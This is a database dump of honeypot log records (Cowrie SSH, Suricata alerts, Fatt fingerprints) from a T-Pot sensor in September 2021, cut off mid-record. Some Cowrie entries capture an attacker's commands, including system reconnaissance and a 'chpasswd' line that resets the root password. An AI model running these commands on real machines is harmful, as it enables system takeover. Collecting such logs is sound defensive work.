33535	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:14.764842+03	2021-09-20 15:00:05.985754+03	{"_id": "bAYQA3wBvYTbRNuEWFAH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:14.764842Z", "@timestamp": "2021-09-20T11:56:14.764Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33536	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:56:14.92382+03	2021-09-20 15:00:05.986723+03	{"_id": "bQYQA3wBvYTbRNuEWVBP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 24731, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2900, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1562867578835804, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 57829, "timestamp": "2021-09-20T11:56:14.923820Z", "@timestamp": "2021-09-20T11:56:14.923Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
33537	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:56:15.440902+03	2021-09-20 15:00:05.988722+03	{"_id": "bgYQA3wBvYTbRNuEWVBQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 12880, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 822548361099846, "@version": "1", "in_iface": "enp5s0", "src_port": 36359, "dest_port": 53, "timestamp": "2021-09-20T11:56:15.440902Z", "@timestamp": "2021-09-20T11:56:15.440Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
33538	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:56:15.442997+03	2021-09-20 15:00:05.989721+03	{"_id": "bwYQA3wBvYTbRNuEWVBQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 12880, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2899, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 822548361099846, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 36359, "timestamp": "2021-09-20T11:56:15.442997Z", "@timestamp": "2021-09-20T11:56:15.442Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
33539	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:56:15.498289+03	2021-09-20 15:00:05.991722+03	{"_id": "cgYQA3wBvYTbRNuEWlBZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35856, "dest_port": 443, "timestamp": "2021-09-20T11:56:15.498289", "@timestamp": "2021-09-20T11:56:15.498Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
33540	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:56:01.281697+03	2021-09-20 15:00:05.992722+03	{"_id": "LgYQA3wBvYTbRNuEJVA2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "eventid": "cowrie.session.closed", "message": "Connection lost after 17 seconds", "session": "cd73752c7fe1", "@version": "1", "duration": 17.418753623962402, "timestamp": "2021-09-20T11:56:01.281697Z", "@timestamp": "2021-09-20T11:56:01.281Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33541	fe80:0000:0000:0000:0086:403d:72ff:040f	109.199.241.180	Suricata	2021-09-20 14:56:04.012412+03	2021-09-20 15:00:05.993722+03	{"_id": "MAYQA3wBvYTbRNuELlBR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:56:04.012412+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 62}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:0086:403d:72ff:040f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 317932652736636, "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T11:56:04.012412Z", "@timestamp": "2021-09-20T11:56:04.012Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
33542	192.168.20.109	109.199.241.180	Suricata	2021-09-20 14:56:04.358702+03	2021-09-20 15:00:05.994723+03	{"_id": "MQYQA3wBvYTbRNuELlBR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.109", "stream": 0, "dest_ip": "224.0.0.2", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:56:04.358702Z", "@timestamp": "2021-09-20T11:56:04.358Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
33543	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:56:03.989358+03	2021-09-20 15:00:05.996722+03	{"_id": "MwYQA3wBvYTbRNuELlBS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:56:03.989358+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 86}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0001:ffff:040f", "flow_id": 1919618299140270, "payload": "AAAAAP6AAAAAAAAAAIZAPXL/BA8=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 135, "timestamp": "2021-09-20T11:56:03.989358Z", "@timestamp": "2021-09-20T11:56:03.989Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..............@=r..."}}	1	\N	\N	alert	\N	\N
33544	192.168.20.109	109.199.241.180	Suricata	2021-09-20 14:56:04.359622+03	2021-09-20 15:00:05.997722+03	{"_id": "NAYQA3wBvYTbRNuELlBS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.109", "stream": 0, "dest_ip": "224.0.0.251", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:56:04.359622Z", "@timestamp": "2021-09-20T11:56:04.359Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
33545	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:04.532772+03	2021-09-20 15:00:05.998722+03	{"_id": "PAYQA3wBvYTbRNuEMFDw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 120.36.157.98:15978 (192.168.176.2:22) [session: 60e8465f283a]", "session": "60e8465f283a", "@version": "1", "protocol": "ssh", "src_port": 15978, "dest_port": 22, "timestamp": "2021-09-20T11:56:04.532772Z", "@timestamp": "2021-09-20T11:56:04.532Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
33546	fe80:0000:0000:0000:0086:403d:72ff:040f	109.199.241.180	Suricata	2021-09-20 14:56:04.981311+03	2021-09-20 15:00:05.999722+03	{"_id": "PwYQA3wBvYTbRNuEMlA6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:56:04.981311+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 110}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:0086:403d:72ff:040f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1184755837368639, "payload": "AAAAAgQAAAD/AgAAAAAAAAAAAAL/WdSrBAAAAP8CAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:56:04.981311Z", "@timestamp": "2021-09-20T11:56:04.981Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".....................Y.............."}}	1	\N	\N	alert	\N	\N
33547	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:06.656845+03	2021-09-20 15:00:06.001722+03	{"_id": "TQYQA3wBvYTbRNuEOFDB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "08957736cca8", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:56:06.656845Z", "@timestamp": "2021-09-20T11:56:06.656Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33548	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:09.475945+03	2021-09-20 15:00:06.002723+03	{"_id": "WAYQA3wBvYTbRNuERFB7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "08957736cca8", "@version": "1", "duration": 2.8194127082824707, "timestamp": "2021-09-20T11:56:09.475945Z", "@timestamp": "2021-09-20T11:56:09.475Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33549	157.240.9.23	109.199.241.180	Suricata	2021-09-20 14:56:10.140906+03	2021-09-20 15:00:06.003722+03	{"_id": "WQYQA3wBvYTbRNuERVDF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:56:10.140906+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.9.23", "asn": 32934, "as_org": "Facebook, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.9.23", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 1079003005462122, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 34214, "timestamp": "2021-09-20T11:56:10.140906Z", "@timestamp": "2021-09-20T11:56:10.140Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
33550	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:10.888914+03	2021-09-20 15:00:06.004722+03	{"_id": "WwYQA3wBvYTbRNuESFBk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.params", "message": [], "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:10.888914Z", "@timestamp": "2021-09-20T11:56:10.888Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33551	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:10.889456+03	2021-09-20 15:00:06.006723+03	{"_id": "XAYQA3wBvYTbRNuESFBk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:10.889456Z", "@timestamp": "2021-09-20T11:56:10.889Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33552	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:11.867586+03	2021-09-20 15:00:06.007723+03	{"_id": "YQYQA3wBvYTbRNuETFBN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "echo \\"root:bLckp1u6y1Bg\\"|chpasswd|bash", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.command.input", "message": "CMD: echo \\"root:bLckp1u6y1Bg\\"|chpasswd|bash", "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:11.867586Z", "@timestamp": "2021-09-20T11:56:11.867Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33553	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:56:15.540557+03	2021-09-20 15:00:06.008721+03	{"_id": "cQYQA3wBvYTbRNuEWlBZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35856, "timestamp": "2021-09-20T11:56:15.540557", "@timestamp": "2021-09-20T11:56:15.540Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
33554	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:15.737371+03	2021-09-20 15:00:06.010722+03	{"_id": "fwYQA3wBvYTbRNuEW1Dv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.params", "message": [], "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:15.737371Z", "@timestamp": "2021-09-20T11:56:15.737Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33555	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:15.341776+03	2021-09-20 15:00:06.011723+03	{"_id": "gAYQA3wBvYTbRNuEW1Dv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "120.36.157.98", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "60e8465f283a", "@version": "1", "duration": 0.5781910419464111, "duplicate": true, "timestamp": "2021-09-20T11:56:15.341776Z", "@timestamp": "2021-09-20T11:56:15.341Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33556	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:16.834114+03	2021-09-20 15:00:06.012723+03	{"_id": "ggYQA3wBvYTbRNuEX1DY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 20, "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "120.36.157.98", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 1 seconds", "session": "60e8465f283a", "@version": "1", "duration": 1.0968296527862549, "duplicate": true, "timestamp": "2021-09-20T11:56:16.834114Z", "@timestamp": "2021-09-20T11:56:16.834Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33557	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:56:17.421247+03	2021-09-20 15:00:06.013722+03	{"_id": "hAYQA3wBvYTbRNuEYlAr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "110.137.195.172", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": 